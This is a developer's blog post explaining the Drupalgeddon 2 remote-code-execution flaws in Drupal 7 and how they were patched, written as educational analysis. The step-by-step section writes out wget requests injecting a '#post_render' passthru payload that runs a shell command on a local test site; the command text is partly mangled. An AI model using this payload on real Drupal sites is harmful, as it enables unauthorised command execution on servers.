Uncovering Drupalgeddon 2 on Drupal 7

by Gabriel, created 31-may-2018, updated 31-may-2018

The website of my employer, carsguide.com.au is essentially powered by Drupal 7. In this post I propose to uncover in details the highly critical Drupal vulnerability nicknamed "drupalgeddon 2" that was released March and April.


Drupalgeddon 2 image

Using this open source CMS for an important business website has its pros and cons but globally it speeds-up delivery of new features and it gives some general coding conventions for everybody to follow.

But open source systems don’t come without turmoils from time to time.

This has happened again on the 28th March: Security announcement SA-CORE-2018–002 (CVE-2018–7600) with the disclosing of a highly critical vulnerability nicknamed Drupalgeddon 2, and during the related aftershock on the 25th April: security announcement SA-CORE-2018-004 (CVE-2018–7602). Several weeks has passed without another related security announcement since so it looks like that the security breach has been sealed for good.

Hopefully.

Wait did you said “again”? and why do you call it “2”? Well in 2014 Drupal had Drupalgeddon 1 : an SQL injection vulnerability affecting all drupal websites which could lead to privilege escalation, arbitrary PHP execution, filesystem access etc... a big one. anyway.

Described at the time as a remote code execution accessible to anonymous users just by visiting the website. Translation: it allows anyone to do anything easily.

Sounds pretty scary, doesn’t it?

Proof of the exceptional vulnerability the patch was released outside the usual security release window (which is the 3rd Wednesday) and with one week warning. Being in Sydney meant that the patch was released at 6am on 29th March for us. A bit of an early start but with everybody involved been noticed beforehand we were able to safely patch, test and deploy the fix before 10am, with no downtime for our editors and our visitors.

Technical details

Let’s dig now in the technical details of the vulnerability itself: Check Point Research provided a useful explanation of the first patch, SA-CORE-2018–002 , on the latest version of drupal 8.x. For this version it appears that the vulnerability is very obvious. Using the default drupal configuration, the user registration page is enough to exploit it: through the avatar upload field.

However according to the latest drupal usage statistics drupal 7.x is still powering 75% of all drupal websites (Apr-2018). So the question is: what about Drupal 7?

I’ve been investigating and in the default configuration, and for non-registered visitors, there is no simple way to exploit it. As it turns out Check Point Research approach doesn’t apply on Drupal 7. (The user register form is different: the avatar upload field being not present.) Does that mean that Drupal 7 wasn’t affected by the vulnerability at all? No. It just means that the complexity to exploit it was more important or that the website had to offer custom features to be vulnerable. Blank Drupal 7 installations where untrusted visitors cannot create account (or when administrator approval to register is required) and that does not have publicly accessible forms with a file input, are not vulnerable, in my opinion.

Anyway the first patch SA-CORE-2018–002 was released to fix this on Drupal 7 and 8. So end of the story? Unfortunately not. The release of the first patch has attracted much attention as you would expect in this situation and white hat and black hat dug further and found something else... This was what the second patch SA-CORE-2018–004 implicitly revealed later: a more complex approach exploiting a variant of the initial vulnerability for a registered user! This time Drupal 8 and Drupal 7 were equally vulnerable. (This second patch, despite being “highly critical” like the first one, ranks lower in the security risk level: 20/25 against 24/25 precisely because the exploit required user privilege)

This is this variant approach on a drupal 7 website that we propose to explain here step by step:

To succeed in this attack you needed to achieve 2 things:

The combination of these 2 steps is of course not happening in the ordinary workflow of form API but, as it has been revealed recently, can happen in some special scenarios.

Drupal render array

A bit of background is necessary to understand: The vulnerability relies on the user input API (Form API) which is using a lot Render array. If your are already familiar with it, you can skip this section.

Render array is a powerful tool that make life of developer much easier:

Example of drupal render array and the resulting html output
Example of drupal render array and the resulting html output

Note: the yellow block in the screenshot above is generated with debug function “dpm($form[‘front_page’], ‘FRONT PAGE…’);” from the devel module.

To build a form you need to create a PHP array using predefined key (eg: ‘#type’ = ‘select’ to create a select list component) and just tell drupal to render it. The rendering process will recursively parse the array and output everything as HTML markup.

Very handy and powerful.

In the example above (from Drupal 7 core page admin/config/system/site-information), we are adding an extra element ‘#type’ = ‘markup’ (to display generic markup inside a form, see API doc) in the render array, before it get rendered, see the output: the injected text is displayed int the rendered page.

Drupal render array modified before rendering #1
Drupal render array modified before rendering #1

There is more in the render Array API: developer can add some attributes into the render array to run custom code during rendering: For example see the code below showing the implementation of the ‘#post_render’ attribute:

Drupal 7 Render API code extract ‘#post_render’ (file: includes/common.inc)
Drupal 7 Render API code extract ‘#post_render’ (file: includes/common.inc)

This code snippet will execute a list of functions declared in the ‘#post_render’ attribute using PHP variable function.

This attribute is design to alter the rendered output of the current element before continuing to the next one. Developers will usually add here a custom function do_something_to_modify($output, $context).

But eh! this can run anything actually! let’s play with it. We can see that we can output a lot of gibberish in the form by using “implode()”:

Drupal render array modified before rendering #2
Drupal render array modified before rendering #2

Pretty harmless and useless.

Now let’s change the values we are passing-on and that could become way more dangerous: This time we were able to access shell execution (commands uname and date; output: “Darwin 17.5.0 x86_64…”)

Drupal render array modified before rendering #3
Drupal render array modified before rendering #3

Now THIS is dangerous: using ‘passthru’ function we are able to execute whichever command we are injecting in ‘#markup’ attribute.

Injecting malicious user input

And now the question is how can we inject data in a render array.

In Drupal user input are managed through the Form API. The things is Form API will process (partially at least) ALL INPUTS returned in a form submission, even if they were not in the initial form. (more code generic…) See the example below: we are modifying the generated page in the browser by adding some inputs, and then submitting the form.

Injecting inputs in a form
Injecting inputs in a form

Screenshot showing injected form inputs
Screenshot showing injected form inputs

Et voilà!

Actually, in that case the injected inputs won’t do anything because they won’t be further processed. But we were able to inject custom variables that in another context could trigger custom code execution…

The first patch (28th March) was an attempt to filter out from user input ALL POSSIBLE array attributes starting with ‘#’. As a result on the 7.58 codebase, the above input data injection wouldn’t work.

The devil is in the details

It was found out later that one scenario of data injection + rendering wasn’t covered by the first patch:

This scenario is more advanced as it need 2 steps and does involve 2 other features:

Step by step

The manipulation cleverly combined different features of the Drupal API in a way that wasn’t meant to be but that successfully achieve the attack. In the steps below we will use wget instead of a proper browser because it is easier to generate simple crafted HTTP requests:

Prerequisites:

3 Steps:

  1. the node deletion page: eg: http://localhost/d7/node/153/delete. From the response extract the form token input value: <input type=”hidden” name=”form_token” value=”HRbVpiMZBcgisrwF3b-gyPwMMtXAhGXetzeuloxz82o”>
  2. Submit a POST request to delete the node page with this form containing extra payload: [%2523post_render][]=passthru%26q[%2523type]=markup%26q[%2523markup]=uname+-mprs" — post-data=”form_id=node_delete_confirm&_triggering_element_name=form_id&form_token=HRbVpiMZBcgisrwF3b-gyPwMMtXAhGXetzeuloxz82o” -O- > response.htmlwget -S — load-cookies /tmp/cookies.txt “http://localhost/d7/node/153/delete?destination=node?q This is a (smart!) misusage of the ‘node/%node/delete’ route: doing a POST request with a valid form_token but without a the form_build_id input and some other inputs. It will causes Drupal form API to cache the attached payload and return a page with the confirm_form: “Are you sure…?” +2 buttons: “Delete” “Cancel”. The malicious payload is part of the destination parameter, and that causes the API to store it against the cancel button action, ordinary use-case (see capture below).
  3. Retrieve the form_build_id received in the previous request and submit the POST request: wget -S — load-cookies /tmp/cookies.txt “http://localhost/d7/file/ajax/actions/cancel/%23options/path/form-elV_fV0UQGgo_uyjmgoWAIXFFaxGiujyTJB19TpoTAY" — post-data=”form_build_id=form-elV_fV0UQGgo_uyjmgoWAIXFFaxGiujyTJB19TpoTAY” -O- > /tmp/response.json . HACKED! This is another (smart!) misusage of a existing route (“file/ajax”): This basically instructing the “very generic” File API to retrieve the related cached form and rebuild (ie render) the particular element under actions > cancel > #options >path … which happens to be the injected data, thus running “passthru” and returning “Darwin 17.5.0 x86_64 i386” in response.json.

Cached form in database after step #2
Cached form in database after step #2

Conclusion

The exploit (fixed by the second patch in 7.59) works by combining 3 features of Drupal API that were not meant to be combined.

This is an important thing to remember: software vulnerability rarely come from one component only, or in other words, one component of code independently is usually resistant enough in the usage context it was conceived. The problems start when you combine several components. You can create scenarios that were not supposed to exist initially , that haven’t been thought, neither tested and that can be create vulnerability breach in your software as a all.

I hope you enjoy the reading. If you have any comments, or suggestions, please tell me in the comments below.

Sources:

Note: The content was initially published on Carsguide engineering blog.